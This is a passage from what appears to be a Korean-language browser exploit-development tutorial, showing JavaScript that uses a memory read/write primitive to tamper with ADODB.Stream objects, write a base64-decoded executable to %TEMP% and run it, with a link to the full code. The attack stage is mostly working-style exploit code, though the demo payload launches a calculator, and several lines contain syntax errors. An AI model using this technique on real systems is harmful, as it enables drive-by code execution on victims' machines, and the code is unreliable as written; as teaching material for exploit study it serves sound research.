    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 40x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
cs


이전과 동일하게 runcalc는 생략했습니다. 전체 코드는 아래 링크에서 다운받을 수 있습니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/code3.zip


댓글